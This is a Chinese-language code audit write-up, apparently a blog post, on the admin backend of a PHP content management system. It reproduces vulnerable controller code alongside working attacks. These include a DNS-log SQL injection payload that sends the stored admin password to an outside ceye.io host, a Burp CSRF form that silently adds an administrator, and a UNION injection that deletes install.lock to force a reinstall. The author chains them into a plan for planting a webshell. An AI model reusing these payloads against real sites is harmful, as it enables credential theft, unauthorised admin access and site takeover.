环境:
window10
apache
mysql
php5.4
漏洞利用:
后台SQL注入:
~/webuser/lib/action/DownloadAction.class.php
public function delall(){
if ($this->isPost()) {
if ($_POST['dell']=="") {
$this->error('您未选择任何数据');
}
// var_dump($_POST['dell']);
// exit;
foreach ($_POST['dell'] as $value) { //存在注入
$filename=M('Download')->where('id='.$value)->getField('filename');
if ($filename) {
delimg('../Uploads/download/'.$filename);
}
}
$ids=implode(",", $_POST['dell']);
$where['id']=array('in',$ids);
if (M('Download')->where($where)->delete()) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}
}
因为这里虽然$_POST[‘dell’]接收了参数但是由于后面的delete操作会直接进行跳转所以这里普通的注入无法实现可以通过盲注或者是dnslog注入,dnslog注入会非常的方便
利用:
直接抓个删除的包 然后post数据 进行dnslog注入 dnslog的平台就会读取日志,获取信息
dell%5B%5D=1 and if((select load_file(concat('\\\\',(select password from phpcms_user limit 1),'.0wtpsg.ceye.io\\92'))),1,1)&sort%5B4%5D=123123
相应的如果是root权限的话那么也可以直接写入文件了 从而getshell
后台CSRF添加管理员:
~/webuser/lib/action/UserAction.class.php
public function addUser(){
if ($this->isPost()) {
$db=D('User');
if($data=$db->create()){
if($db->data($data)->add()){
$this->success('用户创建成功',U('User/index'));
}else{
$this->error('用户添加失败');
}
}else{
$this->error($db->getError());
}
}else{
$this->error('非法操作!');
}
}
漏洞poc
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/webuser/index.php/user/addUser.html" method="POST">
<input type="hidden" name="username" value="pythoniam" />
<input type="hidden" name="password" value="pythoniam" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
这里没有经过任何的验证 直接$this->isPost 接收post的请求 然后直接使用add方法执行添加语句 添加一个管理员
以上的两个漏洞 那么我们可以执行以下的攻击
1.首先发送一个跨站请求伪造请求 使得后台添加一个管理员
2.然后使用上面的sql注入漏洞 写入文件 从而拿到webshell
后台任意删除文件导致重装
~/webuser/lib/action/UserAction.class.php
public function delall(){
if ($this->isPost()) {
if ($_POST['dell']=="") {
$this->error('您未选择任何数据');
}
// var_dump($_POST['dell']);
// exit;
foreach ($_POST['dell'] as $value) { //存在注入
$filename=M('Download')->where('id='.$value)->getField('filename');
if ($filename) {
delimg('../Uploads/download/'.$filename);// ../../test.php
echo 1;
exit;
}
}
$ids=implode(",", $_POST['dell']);
$where['id']=array('in',$ids);
if (M('Download')->where($where)->delete()) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}
}
function delimg($filename){ // delimg('../Uploads/download/'.$name)
if(is_file($filename)){
if(unlink($filename)){
return true;
}else{
return false;
}
}else{
return false;
}
}
发现这个函数是直接进行删除操作的 那么意味着filename只要能控制住 那么就可以进行任意删除的操作
$filename=M('Download')->where('id='.$value)->getField('filename');
这里的$value值 为$_POST[‘dell’] 所传过来的参数值 而且这里的where方法是进行拼接的 那么可以进行控制
原生语句:select filename from table where id = $value
想要控制filename的值 我们可以这样
select filename from table where id = -1 ) union select '../../Home/install.lock' from phpcms_user#
总结: csrf->sql注入(看权限) 或者 重装
这么简单的"代码审计" 大家看到就不要喷了 记录下